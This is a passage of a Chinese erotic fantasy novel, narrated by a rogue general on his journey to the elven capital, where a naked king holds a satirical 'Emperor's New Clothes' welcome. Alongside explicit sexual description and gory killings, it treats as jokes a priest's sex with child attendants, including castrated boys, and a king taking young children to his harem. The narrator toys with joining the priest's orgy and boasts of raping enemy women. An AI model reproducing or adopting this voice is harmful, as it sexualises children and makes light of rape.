冷翎蘭沈默不語,擺明不願談起此事,有時候我真是恨死了這些女人,明明心裡就是有事,卻倔起來什麼都不說,到最後不但害了自己,更害死了別人,偏偏怎麼逼問就是不講,比逼牢裡犯人的口供更困難,這個還算是好的,有些問到最後就只會哭,真是要命到家。
「算了,我知道問了你也不會說,但我告訴你,不管源堂怎麼樣,我對你沒有那種意思,也不會對自己妹妹動手,即使有,憑你的武功,難道還需要擔心嗎?我不懂你在擔心些什麼……你們這些傢夥,一個個都擅自把我當人渣,問過我沒有?不是你們以為什麼,我就非搞什麼不可的。」
這些話與其說是吼給冷翎蘭聽,其實有大半隻是我個人的牢騷埋怨,講完也覺得自己失控,好在冷翎蘭也已經自我調適過來,起身面對我,用一派強行壓抑後的鎮定表情,交待著華更紗的去處。
「華大夫這一路上好像發現了什麼不妥,今晚紮營後,她說要出去看看,確認一下她的想法,至於什麼時候回來,她也沒說,只說有可能直接在華爾森林會合,要我們替她隱瞞。」
「隱瞞倒是不困難,反正精靈們也不會特別注意這個人,就說她坐車裡就行了,倒是她發現了什麼東西,有沒有對你說?我們現在的情況很不對勁,週遭一切看似安穩,卻殺機暗伏,我不想好不容易有誰發現什麼,卻在探查途中被人幹掉,來不及對我們說,發現了等於沒發現。」
聽我這一說,冷翎蘭的表情嚴肅起來,她見過不少大風大浪,知道我說的這種情形確實麻煩,但此刻華更紗未歸,什麼也問不出來,而我更想到一個很糟的可能。
「那個鬼婆……該不會就這麼跑路了吧?」
「不至於吧?她……我想她應該……」
冷翎蘭猶豫了一下,終究是不敢肯定,這時忽然有人來通知,說是天河雪瓊要求見我,這讓我與冷翎蘭面面相窺。
天河雪瓊主動找我聯絡感情,打死我都不會相信有這種事,想也知道,背後意義並不單純,九成是奉人命令行事或傳話,然而,就算知道有問題,我也沒有拒絕的理由,當下只能皺著眉頭,準備赴約。
「雪瓊是我的好朋友,她現在心智迷失,所做的事情非她本意,如果等一下有什麼衝突,請你多忍讓一點。」
冷翎蘭的話讓我想到一事,天河雪瓊目前的情況,只是被抹去記憶,似乎還說不上重塑人格,怎麼能算所作所為非本意?如果這樣子是違反她本意,那麼一直以來阿雪的存在,所做的種種,難道也都不是本意?
這種想法在腦中一閃即逝,出口的話卻是另一番感慨:「真難得,從小看你看到大,沒看過你對什麼其他人這麼關心的,你不只對她忍讓,還為了她向我說情,看來這個朋友的份量真是很重。」
「那只是你知道得太少而已,其實我關心的人很多,不是只有這一個。」冷翎蘭說的話似有幾分道理,但從她的表情,我知道這只是謊言,更何況……整個薩拉都知道,這位二公主其實是沒朋友的。
「何必過得那麼辛苦呢?老實說,在薩拉你是人氣偶像,如果你平常多笑一點,作風柔和一點,多留條路給人,也多留條路給自己,別把自己逼得那麼緊,我想你會比現在開心得多。」
「我的人生,我自己做主,不用你多事。」
好心的提議踢到鐵板,眼見冷二公主惱羞成怒,一臉不悅,我聳聳肩,道:「嘿,給個面子嘛,就算我說的是廢話,好歹看在我是你哥哥的份上,哥哥給妹妹一點人生建議,這也沒什麼吧?」
實話實說,不算刻意佔人便宜,照理應該是沒什麼的,但想不到冷翎蘭表情一變,忽然伸手抓住我左腕,力道奇大,強烈痛楚讓我變了臉色,冷翎蘭這才鬆手,卻用一種很怪的表情看著我,緩緩道:「這輩子,我……我是絕對不會認你這個哥哥的。」
講完話,冷翎蘭狂風般衝了出去,留下我在原地愕然。雖然最近化敵為友,但有鑒於往日恩怨,冷翎蘭對我態度不好也是正常,但剛才她那句話我聽了總感覺怪怪,以前她說的都是「不會認你這種哥哥」,罵人中帶著貶低的意味,可是剛剛的用詞……怪怪的,偏偏我又說不出哪裡怪異。
想不出來,我只有先去處理天河雪瓊的問題,不料那邊的情況更加棘手,我回到自己營帳時,冷翎蘭已經先我一步而到,似是因為不放心天河雪瓊的狀況,特別過來探看。
料想不到的是,天河雪瓊的模樣,與白天馬車中的樣子完全不同,而且不是一個正常狀況下該有的模樣。
營帳內,天河雪瓊一身白紗,正坐在地下絨毯上,渾身嬌嫩肌膚在白紗襯托下更顯欺霜賽雪,她身禮微向前傾,左手輕輕按在小方桌上,烏黑秀髮直垂至裸露的肩膀,粉頸上束著一個紅色的項圈。
目光向下,豪碩的雪白巨乳上,繞胸而過的兩條白紗裹著高聳乳房,露出渾圓的美臍和平坦小腹,隱約可見蓓蕾微微凸起,腰肢的異常纖細,把身體收束出玲瓏的曲線。再向下看,高開叉的白紗長裙把修長筆直的美腿、圓潤的足踝展現得淋漓盡致。
冷若冰霜的美麗臉龐上,出現了醉人的微笑,雖然營帳內無風,但高開叉的薄紗長裙卻不住掀擺,使得性感的翹臀和兩腿間的秘處若隱若現,尤其是當她扭動柳腰時,一雙H罩杯的雪白乳瓜呼之欲出,如果說早上的黑色皮革是火辣冶艷,現在的白紗就是性感典雅,各有千秋,都是最動人的景致。
但只要想到我們目前的處境,白癡也該曉得,天河雪瓊是沒可能主動穿得這麼性感,跑到我這裡來做展示,雖然說在最初見到她的那一瞬間,我確實被這動人的傾城絕色所迷醉,腦裡轟的一聲,完全空白,但回復意識後,馬上便曉得事有蹊蹺,開口喝問。
「半夜來訪,有何貴幹?如果沒有什麼事的話,我想早點休息了。」
話一問出口,天河雪瓊臉上柔美的笑容便不見,回復到早先的那種冷清若雪,道:「早上的時候,我言語有失,衝撞了貴賓,非常失禮,特別來向貴賓陪罪。」
言語謙謹,但說話時候的眼神與口氣,卻全然不是那麼一回事,我和冷翎蘭對望一眼,不約而同地有了個想法,只是都覺得難以置信。
「陪罪不敢當,這也應該不是你自己的想法,是雷曼的命令吧?」
「王子殿下的命令,就是我個人的意志,兩者之間沒有分別。」
「那雷曼有沒有說要你怎樣來陪罪?舔我的腳趾嗎?」
明知道責怪天河雪瓊沒有意義,明知道她也無辜,我還是克制不住心中怒氣,毒言以對,但她的回應更是驚人,聽了我的話後,天河雪瓊的手伸到胸口,一勾一拉,纏裹乳房的兩條白紗滑落,圓滾滾的豪碩巨乳就這麼袒露在我們眼前。
「貴賓性好漁色,為了表示我的歉意與誠心,就在這裡給你幹一次了。」
驚人的說話與動作,實在很有震撼性,冷翎蘭立刻採取行動,伸手過來想遮住我的眼睛,不想讓我看天河雪瓊的巨乳,但怒氣衝冠的我卻快了一步,在我自己意識到之前,右手已經揮了出去。
「啪!」
清脆的一下聲響,震驚到現場的每個人,包括我自己在內。倒不是說從沒幹過這種事,但在我記憶中,已經想不起來上次這麼做是何時了。
天河雪瓊的臉上浮現紅色掌印,結結實實挨上這一巴掌的她,嘴角破裂流血,形成一道赤色紅絲流下,看上去非常淒厲。
意外打了天河雪瓊一耳光,在氣憤之後,我的感覺是一陣難受,唯一念頭就是搶上前去看看,但又想到天河雪瓊的精神狀態,這一掌對她應該不會有什麼影響,頂多就是痛一下而已。
「你……」
天河雪瓊低低說了一聲,眼神一下子變得朦朧迷惘,像是失了神,不久,黯淡的雙瞳再次有了神采,卻不是之前那種冰冷無情的眼神,整個柔和許多,帶著幾分笑意,令我異常熟悉,心頭為之大震。
「師……師父……」
聽到這聲低低的呼喚,我險些就一聲「阿雪」叫了出來,那種善良而溫和的眼神,無疑就是阿雪的眼眸,與之視線相觸,我心中狂喜不已,暗忖難道那一巴掌起了意外效果,破除了雷曼的心神禁制,讓被洗掉的記憶回復了嗎?
「師父……救……」
剎那間,眼神中流露出恐慌,接著就閉上,再睜開時已回復到天河雪瓊的冰冷,但卻沒了原先的鎮定,下一刻,天河雪瓊不顧自己胸口的裸露,高速衝出營帳,落荒而逃,轉眼間便跑得無影無蹤。
冷翎蘭看著她消失,轉頭向我問道:「她為什麼對著你叫師父?」
「誰知道?她嘴裡是叫師父,眼神卻空洞朦朧,這只是單純在叫師父,不是叫我吧。」我隨口胡謁道:「恐怕是記起前事,呼喚她師父心劍神尼救她吧。」
「嗯,你說得也是,大概是這樣吧。」
冷翎蘭應了一聲,便不再說話,側頭凝思。我曉得,此刻冷翎蘭有著與我相同的歡喜,剛才的動搖雖然只有一瞬間,但卻證明了一點,那就是雷曼的心靈控制絕非天衣無縫,只要我們找對方夫,是可以把天河雪瓊回復原樣的。
「對了,為什麼你會那麼生氣,還打了她一巴掌?以你的個性,這樣的美人在你面前袒胸露乳,你應該看傻眼才對啊?」
冷翎蘭對我不尋常的舉動提出質疑,這個問題確實不好回答,但我略經思索,還是找了個過得去的答案。
「這個……因為她是你的好朋友,我看她如此不知自愛,一下子氣昏了頭,才動手打她。」
這個回答想想也是滿爛的,但冷翎蘭聽完卻有了異常的反應,唇邊綻放笑靨,而且是那種發自真心的愉悅微笑,就這麼一笑,她的氣質發生改變,彷彿整個人一下子變得亮眼起來。
「……你這個人啊……我好像終於發現你一點優點了。」
冷翎蘭說完話就轉身離去,留下我在原地半天搞不清楚狀況,想不通現在是什麼情形。
這一晚的紛擾,委實令人頭大,雖沒有刺客襲擊那樣轟轟烈烈,不過種種問題的棘手程度,還是讓我的腦細胞徹夜哀號。
隔天我們繼續趕路,被冷翎蘭破壞的馬車修復完畢,我、冷翎蘭、天河雪瓊三人同車,大祭司還是自己一個人坐那輛馬車,聽說他昨天整整一夜都沒有離開馬車,換句話說,他在馬車內已經一日一夜,從車廂偶爾傳出的「砰砰」推炮聲來看,這個老東西精力猶勝少年,好色程度更是讓我拜服。
大祭司到底是和誰在馬車裡推炮?這樣連幹了一天一夜,不光只是他體力好,在裡頭那個配合的也很不得了,如果是夏綠蒂……我懷疑她有這麼好的體力,連續不停地幹那麼久,就算不死,下頭也要缺塊肉。
(唔,不能太小看這個老頭,他畢竟有一身精湛修為,該不會……他是趁這機會在練什麼雙修功法吧?)
借由男女歡好而修練的雙修之法,基本上是人類世界的東西,不會出現在精靈這邊,但反正索藍西亞已經有了個邪門外道的三王子,就算再多個搞雙修的精靈祭司,也沒什麼奇怪。
出於好奇,我進行打聽,想知道大祭司和誰在馬車裡頭,結果卻出乎意料。
「什麼?大祭司和哪個人在車裡?這個你問錯啦,應該問大祭司和哪些人在車裡?」
「怎麼?馬車裡頭不只兩個人嗎?」
「怎麼會只有兩個人?雖然大祭司下了嚴令,不準人偷窺車內的情況,還為了防止春光外洩兼有人行刺,這輛特製的馬車下了多重封鎖結界,但在這一日夜的時間裡,大祭司還有召喚別人進入車內,就是他隨身的侍童。」
冷翎蘭道:「探聽得到的結果,大祭司的那些隨身侍童,個個相貌清秀,雖然依照規定,必須是男的,不過卻有可能魚目混珠,存在著一些扮男裝的女童,還有……闔割的鑾童。」
說到這些的時候,冷翎蘭的表情有少許不自然,但還是把話說了出來,畢竟在阿里布達,她的掛名老爸冷棄基陛下也有同樣愛好,整天搞的事情都差不多,她早就看慣了。
我聽了冷翎蘭的話,想到馬車內的大亂交情形,心中一動,差點就想脫掉褲子飛奔衝進去加入,但想想裡頭情形可能極度混亂,貿然殺過去,萬一從搞人變成了被搞,狀況就大大不妙。
(媽的,我以後也要當宗教領袖,當這種大祭司或是教皇教宗的,講什麼都會被當成神明旨意,比皇帝還爽,聽說爺爺生前也辦過什麼愛之教的,果然淫蟲都愛這一套,自立宗派,每天做愛當傳道,性交是傳教。)
這些念頭讓我頗為興奮,再一想不禁啞然失笑,最近身邊的事務太過繁重,原本是個浪蕩子的我,已經很久沒能夠有這種貪圖享樂的心情了。
天河雪瓊坐在我們對面,似乎忘記昨晚發生的一切,沒有半點表情,我和冷翎蘭各懷心思,也就讓這份沈默維持下去。
「唔,今天天氣不怎麼樣啊,上路以後,霧好像越來越濃了……」
我從馬車中望向窗外,看到漸濃的霧氣,隨口說話。索藍西亞位處北方,境內又多森林,自來便是寒冷且多水氣,行走山路時,一片霧氣瀰漫而來,不是什麼稀奇事,只要別倒黴碰上什麼霧中毒瘴,就不會有危險。
不過,這一路上的霧氣確實越來越濃,連帶造成隊伍的行進速度放慢,要不是有魔夫儀器引路,隊伍很有可能迷航走失。
(奇怪,不曉得是不是錯覺,怎麼覺得腦袋有些昏昏的?是中了什麼招嗎?還是有什麼人在施法?)
身體感覺到不妥,我心生警兆,但問了冷翎蘭,她並沒有覺得什麼不對勁,我也只有把這份疑慮放下,思索一個剛剛想到的嚴重問題。
昨晚發生的事顯示,雷曼的心靈禁制不是那麼牢不可破,但我深思之後發現一個問題,那就是即使破了雷曼的禁制,後果可能也不是盡如我願。解除了心靈控制的天河雪瓊,會變成怎樣的一個人?
是變回阿雪?還是變成最初的天河雪瓊?這一點我殊無把握,人的大腦異常複雜,要把被洗掉的記憶還原,更是一件難以準確執行的任務,之前阿雪只是昏迷,把她救醒之後,百分百還是那個小狐女阿雪,但現在多了雷曼的攪和,狀況徹底失控,我不得不面對一個事實:那個阿雪可能再也回不來了。
這個打擊之沈重,超過了我的負荷,令我必須認真評估一事。來索藍西亞拚命是為了救醒阿雪,現在阿雪已經醒了,或者說可能永遠都醒不過來了,那我在這裡冒險犯難是為什麼?總不會是因為犯賤吧?
(想落跑不曉得來不來得及,之前答應白拉登的時候,簽訂契約,那個契約有魔法效應在內,要是違反契約,就算白拉登不親自過來殺人,也有可能瞬間掉進地獄被火烤一千幾百年……)
就在我反覆思量中,我們的旅程繼續,隊伍越來越靠近華爾森林。離開的華更紗一直未有歸來,偷偷逃跑的可能性大增,我憂心之餘,卻也別無辦法。
「奇怪,我以前到索藍西亞來,路上雖然都有碰到大霧,但規模沒有這麼大,持續的時間也沒有這麼久,這塊土地到底是怎麼了?」
冷翎蘭道:「沿途經過的幾個地方,看起來也都怪怪的,那些精靈的動作看來……該怎麼說?」
「很陰森。」
「對,就是很陰森。」冷翎蘭看著我,道:「你也有這種感覺嗎?我們經過的幾處森林,精靈們在林中、霧中,遠遠地看著我們,無聲無息,那麼多人就只是靜靜地看,還連續幾座森林都一樣,那種感覺很像身入鬼域,讓人滿身的涼意。」
以冷翎蘭的武功,要說感受到寒意,那只是一個形容詞,不是事實。森林內濕氣本重,加上大霧襲人,溫度確實也是低,但冷翎蘭的感覺我能體會,我們沿途所見的種種,透著詭異的氣息。
撇除華更紗這個變態的特例不談,基本上精靈雖然高傲,卻仍不失為崇尚光明的族類,照理說不會給人陰森的感覺,但我們這一路行來,途中經過的幾座森林,裡頭所居住的精靈沒有出來向我們打招呼,只是躲在樹木後頭,陰惻惻地窺視,與其說是看,其實更像是瞪,一直到我們離開,都有很強烈的芒刺在背感。
一群尖耳的精靈,趴在銀白色的樹木上,半探出頭來,整個身影在濃霧繚繞下忽隱忽現,碧藍色的眼瞳,幽幽地發著光……心泛幕景象不管讓誰來看,都會覺得是陰森森。
反常的事情正在發生,如果這情形不只是影響那幾座森林,而是在整個索藍西亞蔓延,那我確實不得不說,這片土地出了問題。
這情形的護生恐非三五日內,該有一段頗長的時間了,我在境外全沒得到消息,國際上也一無所知,我覺得這裡頭有很深的陰謀氣息,就像伊斯塔爆發無頭騎士之禍那樣的感覺。
無比沈重的鬱悶感,令這其實不算長的旅程,好似走在陰曹地府般漫長,連氣都快要喘不過來,唯一打破這片沈悶的,就是偶爾發生的刺殺行動。
短短一天之內,連續三起,都是忽然出來攻擊部隊,或是襲擊大祭司所在的馬車,或是直接殺入陣中,尋找雷曼的所在。前後三批人馬,為數不多,實力也算不上精強,很快就被消滅與制服,但這三批人馬彼此之間並無關係,純粹是為了同一個原因而行動,都想要替下野失蹤的倫斐爾王子復仇雪恨。
「這樣看來,倫斐爾雖然鬥爭落敗,卻很得民心,相反雷曼大權在握,得不到精靈們的擁戴,前途難料啊!」
冷翎蘭似是刻意說這個來刺激天河雪瓊,但天河雪瓊並無反應,也不曉得是不受挑撥,還是另有其他緣故。
前後幾波刺客來襲,基本上都由碧安卡率人剿滅,其中只有一次,刺客中有一個武力不錯的,後來聽說是索藍西亞王的御前武衛,算是倫斐爾一系的高手,也蒙面參與刺殺,尋常士兵擋他不住,結果天河雪瓊下了馬車,雙臂一舉一揚,發動兩式黑暗魔法:「邪毒妖蟒」、「暗之輪」。
一條凝土而成的巨蟒竄出,咬住了那個御前武衛,土蟒的力量雖然不強,卻是蘊含劇毒,別說被咬中,就算沾碰到都會中毒,那名武衛的行動受制,力量也被減弱三分,極速旋轉的鋒銳黑色光輪在此時飄至,輕而易舉斬下他的首級。
當頭顱墜落地面,噴著血的軀體立刻被毒力全面入侵,在眾人眼前迅速腐爛,化作地上一灘腥臭的泥漿,這種衝擊性十足的死法震攝全場,其餘的刺客失去鬥志,很快也被殲滅。
冷翎蘭雖然沒說話,但我知道她是受到震驚的,過往的天河雪瓊出手會否如此狠辣呢?不管怎麼說,既然是出身名門正派,應該不至於太草菅人命吧?其實冷翎蘭自己也常在她認為有需要的時候,拔刀就砍人,算算死亡人數,也算得上殺人如麻,沒必要這樣感歎。
至於我,有一點是可以肯定的,那個總是為著無辜枉死者痛哭失聲的美麗小狐女,絕對想不到自己有一天會用這等狠辣手段,殺人殺得乾淨俐落……
◆ 第五話:華爾森林.國王新衣
華爾森林,索藍西亞的王都,精靈的聖域,很久之前……我還在阿里布達任軍職的時候,曾以為自己這輩子都沒機會踏足華爾森林,畢竟手上染滿精靈的怨血,別說是到精靈的王都,哪怕是進入索藍西亞,大概都會被人立刻幹掉。
所以,現在發生的這樁奇事,想想還真是不可思議,當這趟旅程終於抵達目的地,我腳踏在華爾森林的土地上,前方是一大群精靈恭敬列隊,敲鑼打鼓,歡迎我這個不知道屠殺多少他們同胞的仇敵到來。
放眼看去,在森林入口列隊歡迎的精靈,不只是普通的平民與士兵,甚至還有部分王族與貴族,他們相貌俊美,衣飾素淨中顯出高貴大方,一看就曉得不是普通人。
之前初訪巴格達時,也是大隊人馬歡迎,但以排場而論,可比現在差得遠了,居然連國內的王公貴族都一起出迎,如此大的面子,恐怕連金雀花聯邦大總統或是心禪大師都享受不到,更別說是我這樣的三流角色了。
聽著耳邊鑼鼓喧天,煙火爆響;看著眼前無數精靈揮手、拍掌的熱鬧景象,我幾乎以為自己身在夢中,就連站在我身旁的冷翎蘭都看呆了。
「不……不可能……索藍西亞怎麼會這樣一副德性?」
我能理解冷翎蘭的錯愕,因為現在正發生的一切,給人的違和感實在太強烈,之前我與索藍西亞的士兵同行,很明顯可以感受到他們的敵意,只是大祭司把我奉為上賓,這些精靈才沒有對我立刻動手,儘管危機四伏,但這都是正常的反應。
然而,此刻那些列隊歡迎我的人,不只是出來排隊,臉上還掛著和善的笑容,對著我歡欣鼓舞地揮手,彷彿我不是他們的血債仇敵,是他們誠心恭迎的超級貴客,這種事……怎麼有可能了?
我既沒有聖者之德,身上也沒有王霸之氣,要說有什麼過人魅力把仇家給感化,那真是放屁中的放屁,連我自己都不會相信,但不合理的事實此刻卻擺在眼前,如果說他們是被迫出來列隊,這我尚能理解,可是他們臉上的笑容與態度,這些該怎麼解釋過去?
「還有,最荒唐的一點……這裡真的是索藍西亞嗎?精靈舉行儀式應該肅穆莊重,現在這種嘉年華會一樣的氣氛是怎麼回事?」
我一提出這點,冷翎蘭馬上大力點頭,表示非常不能理解,尤其是看到一朵朵煙花在空中爆開,幻化出「歡迎貴賓約翰·法雷爾,當世第一淫賤大惡人蒞臨精靈國度」的文字時,我們知道自己還清醒,卻已忍不住懷疑自己的理智了。
若是這一切不是作夢,那麼,精靈想要打破沈悶的祖規,學習人類文化,這或許是個不錯的解釋,因為在璀璨的煙火盛亮於天空後,森林中走出一隊長相清秀,身穿美麗綵衣的精靈女童,年紀都很小,臉上掛著童稚的微笑,手舞足蹈,踏著輕快的步子出來,蹦蹦跳跳。
「歡迎歡迎,熱烈歡迎。」
沒有鏡子,但在聽到孩子們熱情喊出這八個字的同時,我曉得自己的臉色一定很難看。
簡單的一句「熱烈歡迎」只是開始,這群孩子跟著整齊地排開,擺出同一個動作,甚至連臉上的表情也差不多,或者該說……都一樣沒什麼表情,她們張開懷抱,揚起了手,用一種聽來激昂卻刻板的聲音揚頌。
「歡迎歡迎,榮譽歡迎。」
「歡迎歡迎,誠摯歡迎。」
「歡迎偉大的軍神、天上的明星、地上的舵手,法~~雷爾將軍~~」
唱到這裡,所有孩子一起彎腰鞠躬,朝著我們的方向行禮,以這樣的姿勢唱出後半截話:「……蒞臨索藍西亞。」
要是索藍西亞真想學習人類文化,那麼我所看到的這一幕,無疑是他們學習失敗的象徵。
把不懂事的孩子拉出來做歡迎表演,是人類行為中非常愚蠢的一種,極為差勁,我不瞭解看小孩子出來搞這個,有什麼好高興的?是因為小孩子不懂得作偽,聽小孩子的賀詞,就覺得自己真的很偉大嗎?
可是,逼不懂得說謊的小孩子作違心之舉,這種行為不僅卑劣,而且……作這種事的人一定很沒自信,才需要搞這種自己騙自己的事來建立信心,說不定平時在床上都是陽痿的,才需要靠孩童的歡呼來維持自尊,像冷棄基那個廢人就最喜歡搞這一套,聽完幼童的歡呼後順便把人帶到後宮去,再聽另一種呼聲。
看到索藍西亞什麼好的不學,偏偏學起這個人類的大缺點,我感到一陣惡寒,再看看冷翎蘭,發現她也是一臉鐵青,此時震耳的樂聲響徹雲霄,我正想要對冷翎蘭說話,一個手掌忽然搭在我肩上,我回頭一看,赫然是笑嘻嘻的大祭司。
「呃,你怎麼現在才出現?」
「我剛剛本來要下車,那小妞太動人,忍不住又快炒了一下,嘿嘿,反正歡迎典禮是歡迎你,前頭這些部份你有看就行,我趕上最高潮的時候便可以了。」
大祭司一面從容不迫地系衣帶,一面向我比大拇指,表示我贈送給他的美人確實是上品,令他非常享受。
「最高潮的時候?什麼意思?」
我疑惑提問,但馬上省悟,大祭司這個好色老頭,可以說是無法無天,肆無忌憚,能夠讓他不搞女人,下來做點正事的理由,一個是雷曼,一個就是當今索藍西亞王葛林斯,依照這場面來看,自然是葛林斯王要出來了。
「等會兒見到陛下,有一件事要先提點於你,省得兄弟你在不知情的情形下犯錯,那就很巴格野鹿啦。」
大祭司說得嚴重,我暗忖葛林斯王與大祭司廝混多年,一丘之貉,也不會是什麼好貨色,但畢竟是一國之君,在人家地頭上不好得罪,便與冷翎蘭一同凝神傾聽。
「陛下本人和善,不擺架子,兄弟你是他專程請來的貴賓,照理說是不會有什麼問題的。不過陛下很重衣著,兄弟你見到陛下,馬上誇他的衣服好看,他就會龍心大悅。」
「哦,還以為有什麼呢,拍馬屁嘛,這種事情小意思,但為什麼一定要誇衣服呢?通常拍國王馬屁,從別的地方入手更有效果,誇衣服好看這未免沒創意也沒意義吧?」
「這個……兄弟你有所不知,陛下他近年來所穿的衣服很特別,具有獨樹一格的美感,如果不是真正的賢人、智者,是無法體會到那份高尚藝術的。」
一向無恥的大祭司,這次居然把話說得吞吞吐吐,我覺得有些不妙,腦裡更忽然想到一個古老的故事。
(不會吧?雖然來索藍西亞以後,所見到的每件事都荒唐,但怎樣也是一國之尊,總不會真的……)
還不能肯定這荒唐念頭會否成真,這時,震耳樂聲忽然一停,周圍一片寂靜,緊接著,歡呼聲再次爆起,我循聲望去,只見森林入口出現了一條長長的紅地毯,高貴氣派,漂浮在離地半尺高的空中,憑靠魔法力量維持著。
紅地毯出現的同時,周圍憑空灑下花瓣,一個高大的人影緩緩踏步而來,後頭跟著幾名隨從,在場群眾見到這道身影,歡呼之聲更甚,正是索藍西亞的葛林斯王現身了。
對於這位精靈國王,我過去所知不多,現在初見面的第一印象,便是一個很具有王者之風的領導人。
精靈擁有很長的年輕歲月,葛林斯王雖然有了幾個兒女,卻一點都沒有老態,儀表堂堂,身材高大,一路走來,龍行虎步,極具有領導人的威嚴。最難得的一點,精靈裡頭相貌出色的很多,但擁有一身壯碩肌肉的卻很少,而這位精靈國王的身軀,渾身肌肉虯起,從頭到腳,就像一尊完美的男子塑像,遠遠望去,甚至給人感覺似是一座不倒的巨岩。
這還真讓人有點意外,本以為葛林斯王縱情酒色,身體就算沒被淘干,也健康不到哪裡去,沒想到居然是這麼樣的一個肌肉壯漢,那一身結實的肌肉,一看便知是經過日積月累鍛煉,蘊含著強盛的精氣與力量,不可小覷。
(奇怪,柏南克曾說過他和葛林斯的身體不好,那方面不行,所以才需要我來診治與給建議,但這樣看,葛林斯的身體比獅子還強壯,那方面沒理由不行啊,是柏南克胡說八道?還是另有隱情?)
我思索著這個問題,但與眼前的另一個顯著問題相比,這根本不值一提。從葛林斯王現身的那一刻起,冷翎蘭的眼睛就瞪得大大,因為這個超級猛男國王的肌肉實在驚人,而為什麼我們可以清楚地知道這位猛男的肌肉驚人呢?
因為……一路昂首走來,不時還學健美教練那樣擺幾個姿勢,突顯出一身強壯肌肉的葛林斯王,通體一絲不掛,赤身裸體地大方走出來。
我們都算是見多識廣,看過很多大風大浪的人,但堂堂一國之君,而且還是索藍西亞這樣一個當世強國之主,竟然當著國民的面溜鳥裸走,表情還這麼怡然自得,甚至說得上洋洋得意,這種事情真是連想都沒有想過啊。
要是有得選擇,我很想逃避,當作什麼都沒有看到,無奈葛林斯王直挺挺地向我走來,我連躲都沒有地方躲……真是奇怪了,應該挖個地洞把自己埋下去的人是他,為什麼會是我想找地方躲呢?
「這位就是約翰·法雷爾嗎?朕聽過你名聲很久了……」
葛林斯王來到我面前,整個人彷彿一座不倒的巨岩,讓我有些喘不過氣。他俯視著我,目光上下打量,哈哈大笑道:「一表人才,果真是一表人才啊!法雷爾家族有了一位絕佳的繼承人。」
像是一位聲樂家,葛林斯王的聲音可以用渾厚來形容,給予人很好的印象,比起冷棄基,葛林斯王無疑是更有王者風範。只不過,論起怪癖……這兩位國王倒是很有得拼。
「告訴朕,你覺得朕今天的這套新裝如何?」
葛林斯王的問題,真是讓我難以回答,要不是有大祭司的預先提點,我怎樣都無法這麼快就從容應付。
「陛下的這套衣服……華貴中不失莊重,霸氣裡猶帶典雅,既正式又有休閒風,更重要的是具有一種獨特藝術感,實在是天上少有、地下難尋,最適合陛下您的王者之服。」
諂媚的屁話,連我自己也不知道自己在說什麼,反正盡量說得面面俱到就是了,我的眼睛很正常,哪有可能看得到那套不存在的新裝?但從葛林斯王的表情判斷,他非常滿意我的評價。
「哈哈哈,好,說得好,朕這套新裝是索藍西亞當前的魔法技術顛峰,唯有真正的賢人、智者才能看見,你確實沒有讓朕失望,更不枉朕多日苦候。」
葛林斯王笑意甚歡,但我看見旁邊的冷翎蘭,正一副快要暈倒過去的表情。想不到古老童話「國王的新衣」居然有現實版本,在我眼前上演,現在不好說葛林斯王是智或愚,可是至少可以肯定,他大概是一個平常不看人類童話的精靈。
「朕本來預備要先考驗你幾個問題,但你已過了第一關,剩下的……且待朕與你痛飲三杯,再來商議。」
葛林斯王牽著我的手,高高舉起,讓周圍的無數精靈臣民一起發聲歡呼,在這一瞬間,我真是覺得荒謬絕倫。
在戰爭中造成上萬的死者,還把幾十萬俘虜賣為奴隸的人,單純從道德角度來看,百分百是罪人,在本國卻可以成為民族英雄,這已經是很荒唐的事,罪人就是罪人,為什麼罪人會變成偉人呢?
如果說在本國被當成偉人是種荒唐,那我到了敵國,還被奉為上賓,這種事情該怎麼看?我殺了他們的父親兄弟,奸了他們的妻女,還把他們的親友賣為奴隸,這些精靈都沒感覺的嗎?他們怎麼還有辦法笑得出來,甚至拍手歡呼?
在伊斯塔的時候,我們雙方只是利益上的合作,不管伊斯塔的士兵對我怎麼服從,我知道他們早晚會翻臉算帳,這點我從他們每個人的眼神、舉止中感覺得出,但同樣的感覺我卻無法在這些精靈身上找到,當我進入華爾森林的時候,所接觸到的每個眼神,都充滿友善與歡迎,雖有少數例外,可是例外的比例不足一成,就連冷翎蘭都想不通,詫異提問。
「這些精靈難道瘋了不成?你殺了他們那麼多同胞,是他們不共戴天的死敵,他們怎麼會這麼歡迎你?」
「……大概是因為我長得帥吧。」
「荒唐,這世上哪有這種事?」
「是啊,我也這麼想,那你覺得我還能對你說什麼?」
冷翎蘭一愣,也曉得我無言以對,便沈默下來,四下顧盼,專心觀察華爾森林中的一切。
與人類的王都不同,華爾不是人造城池,完全與自然樹木結合,放眼望去,無數巨木參天聳立,主幹又粗又大,上頭支幹橫生,每一根枝幹上都有一間草屋,精靈們便是居住於其間。
單單只憑這些巨木,就是再好的建築技術,也沒法蓋那麼多的房舍屋間,供所有精靈居住,但如果配合魔法技術,那就是另一回事。精靈在魔法文化方面的水平,獨步當代,使用自然元素方面的技術更是人類遠遠不及,華爾森林裡長滿成千上萬的參天巨木,這些巨木樹種特殊,生長時更被精靈們導引自然能量入內,供為成長養分,這才能生長得如此巨碩,遠超尋常人類世界的樹木。
巨木吸納自然能量生長後,本身也成為自然能量流通的媒介,我以前看過文獻紀錄,索藍西亞發生戰爭時,精靈們發動蘊藏於巨木內的能量,形成防護罩,把整座森林蓋住,別說是遮擋箭矢,甚至還能擋住炮火與中階魔法的攻擊,最是厲害不過,相形之下,張設出懸浮法陣,讓房屋半浮懸於枝幹上,不過是一點小意思。
懸浮法陣無形無影,支撐住精靈們所居住的房舍,更讓精靈們可以在法陣所維持的高度上淩空行走,不用擔心從高處摔下。
居住在森林裡頭,用火便成了最需要當心的事,一個不慎便會釀成巨災,為此我看見家家戶戶外頭都掛著燈,但點亮燈的卻不是火種,而是釋放光亮的魔法石,五顏六色,並且依顏色來識別普通民家、商店。
種種不同顏色的光亮,在茂林繁葉中增添色彩,彷彿無數寶石散佈林間,閃閃發光,比起人類世界的燈火,別有一種寧靜的美麗。
行走在森林間,前方看似無路,但每到窒礙難行之處,巨大的樹根卻會自動讓開,形成通道,我走在無數精靈的簇擁之間,?頭仰望,看到許多精靈的女人、孩童從樹上往這邊偷瞥,他們的眼神沒有那麼興奮,感覺起來比較矇矓,我正想要細看,周圍霧氣騰生,讓一切景物漸漸陷入迷濛。
華爾森林的中心,就是索藍西亞的王宮,由五棵巨大的樹木所合捧,每一棵巨木的規模都遠逾平常,足足數十尺的直徑,巨大得讓人難以相信是生物,軀幹部份已經晶石化,璀璨發亮,時而冰藍、時而雪銀,瑰麗無方。
